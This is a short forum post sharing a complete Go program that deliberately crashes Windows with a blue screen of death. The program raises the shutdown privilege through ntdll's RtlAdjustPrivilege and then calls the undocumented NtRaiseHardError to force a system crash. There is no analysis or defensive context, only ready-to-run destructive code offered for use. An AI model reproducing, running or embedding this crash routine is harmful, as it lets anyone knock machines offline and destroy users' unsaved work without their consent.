hello this is my code for run bsod ( blue screen of death ) on windows using winapi
Код:
// bsod generator module for windows
package main
import (
"fmt"
"unsafe"
"syscall"
)
// import ndtll.dll functions
var (
ntDll = syscall.MustLoadDLL("ntdll.dll")
NtRaiseHardError = ntDll.MustFindProc("NtRaiseHardError")
RtlAdjustPrivilege = ntDll.MustFindProc("RtlAdjustPrivilege")
)
// crash the system using NtRaiseHardError winapi function
func main() {
fmt.Println("warning running bsod screen crash and process closed !")
POINTER := 0
RtlAdjustPrivilege.Call(uintptr(19), uintptr(1), uintptr(0), uintptr(unsafe.Pointer(&POINTER)))
NtRaiseHardError.Call(uintptr(0xc0000006), uintptr(0), uintptr(0), uintptr(0), uintptr(6), uintptr(unsafe.Pointer(&POINTER)))
}